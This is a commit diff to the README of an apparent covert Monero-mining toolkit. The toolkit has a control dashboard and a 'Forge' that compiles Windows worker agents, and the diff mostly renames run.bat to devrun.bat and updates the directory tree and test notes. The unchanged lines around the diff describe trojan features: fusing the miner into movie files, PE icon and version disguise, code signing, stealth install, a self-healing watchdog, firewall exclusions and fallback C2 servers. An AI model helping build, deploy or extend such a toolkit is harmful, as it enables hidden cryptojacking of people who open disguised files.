Improve portable launch, forge persistence, and operator auth UX.
Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
This commit is contained in:
30
README.md
30
README.md
@@ -82,7 +82,7 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
|
||||
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below)
|
||||
- **Batch forge** — queue many files; progress bar; one ZIP per file — **Cancel Batch** kills the in-flight server compile immediately via cancel token
|
||||
- **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight
|
||||
- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `run.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped.
|
||||
- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `devrun.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped.
|
||||
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
|
||||
- **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable
|
||||
- **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark
|
||||
@@ -139,6 +139,7 @@ fusion-deliverables/Vacation/
|
||||
| Field Guide | `/guide` | `GuidePage` |
|
||||
| Calibrate | `/settings` | `SettingsPage` |
|
||||
|
||||
|
||||
There is no separate `CalibratePage` — **Calibrate** is the nav label for the settings route.
|
||||
|
||||
### Calibrate (Settings)
|
||||
@@ -161,7 +162,7 @@ There is no separate `CalibratePage` — **Calibrate** is the nav label for the
|
||||
- **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS
|
||||
- **Server-side forge cancel** — each build is tracked by a UUID cancel token; `DELETE /api/v1/builder/cancel/{token}` kills the compiler process immediately
|
||||
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
|
||||
- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `run.bat`)
|
||||
- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `devrun.bat`)
|
||||
|
||||
---
|
||||
|
||||
@@ -169,7 +170,7 @@ There is no separate `CalibratePage` — **Calibrate** is the nav label for the
|
||||
|
||||
**Requirements:** Windows 10/11 on control PC and workers. Outbound internet to your Monero pool.
|
||||
|
||||
1. Double-click **`run.bat`** in the project root.
|
||||
1. Double-click **`devrun.bat`** in the project root.
|
||||
It installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets to `server\webroot\`, and starts the server.
|
||||
|
||||
2. Browser opens **http://localhost:8989**
|
||||
@@ -240,20 +241,27 @@ Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need
|
||||
|
||||
```
|
||||
crypto miner/
|
||||
├── run.bat ← one-click build + launch
|
||||
├── devrun.bat ← one-click build + launch (dev)
|
||||
├── run.bat / start.bat ← aliases → devrun.bat (project-root markers)
|
||||
├── test.bat ← full suite → scripts/test-suite.ps1
|
||||
├── LAUNCH.bat ← portable/USB build + tunnel (see usb/)
|
||||
├── scripts/
|
||||
│ ├── test-suite.ps1 ← Go + web + build + Playwright E2E
|
||||
│ └── smoke-test.ps1 ← API matrix B-01–B-10 (server must be running)
|
||||
├── bin/
|
||||
│ └── miner-server.exe
|
||||
├── data/ ← config, DB, builds, preps, logs, users.json
|
||||
├── fusion-deliverables/ ← per-title movie fusion output (gitignored)
|
||||
├── server/
|
||||
│ ├── main.go
|
||||
│ ├── main.go ← discovers webroot/, agent/, fusion/ from repo root
|
||||
│ ├── webroot/ ← production UI (copied from web/dist)
|
||||
│ ├── web/ ← React command deck (Vite + TypeScript)
|
||||
│ └── internal/
|
||||
│ ├── api/ ← HTTP routes, WebSocket, auth
|
||||
│ └── builder/ ← forge + fusion + ZIP + media crypto
|
||||
├── agent/ ← Windows worker source (compiled by Forge)
|
||||
├── fusion/ ← prep + movie runner (embed, decrypt, play)
|
||||
│ └── builder/ ← forge + fusion (copies agent/ + fusion/ per build)
|
||||
├── agent/ ← worker source (Forge compiles per OS)
|
||||
├── fusion/ ← prep + movie runner (builder copies into build dir)
|
||||
├── tests/README.md ← test phases, E2E env vars
|
||||
├── PROBLEMS.md ← known issues audit (severity-ranked)
|
||||
└── README.md ← you are here
|
||||
```
|
||||
@@ -284,7 +292,7 @@ Full route list: `server/internal/api/router.go`
|
||||
|
||||
---
|
||||
|
||||
## Manual Build (if you skip run.bat)
|
||||
## Manual Build (if you skip devrun.bat)
|
||||
|
||||
```bat
|
||||
cd server\web
|
||||
@@ -307,6 +315,8 @@ Open **http://localhost:8989** and sign in with your configured users.
|
||||
|
||||
Double-click **`test.bat`** (or `scripts\test-suite.ps1`) to run all Go, frontend, build, and E2E smoke tests. See **`tests/README.md`** for details.
|
||||
|
||||
With the control server already running on port 8989, run **`scripts\smoke-test.ps1`** for the REST API matrix (B-01–B-10). Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default `testuser` / `testpass`.
|
||||
|
||||
### Dashboard dev server
|
||||
|
||||
```bat
|
||||
@@ -335,7 +345,7 @@ Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separa
|
||||
|---------|----------------|-----|
|
||||
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data for `localhost:8989`; ensure `npm install` + `npm run build` in `server/web`; copy `dist` → `webroot`; restart server |
|
||||
| Login loop / 401 | Wrong password or missing `users.json` | Check the server console for the first-run password; reset by deleting `data/users.json` and restarting |
|
||||
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `run.bat` or copy `server/web/dist/*` → `server/webroot/` |
|
||||
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `devrun.bat` or copy `server/web/dist/*` → `server/webroot/` |
|
||||
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
|
||||
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open 8989 on control PC |
|
||||
|
||||
|
||||
Reference in New Issue
Block a user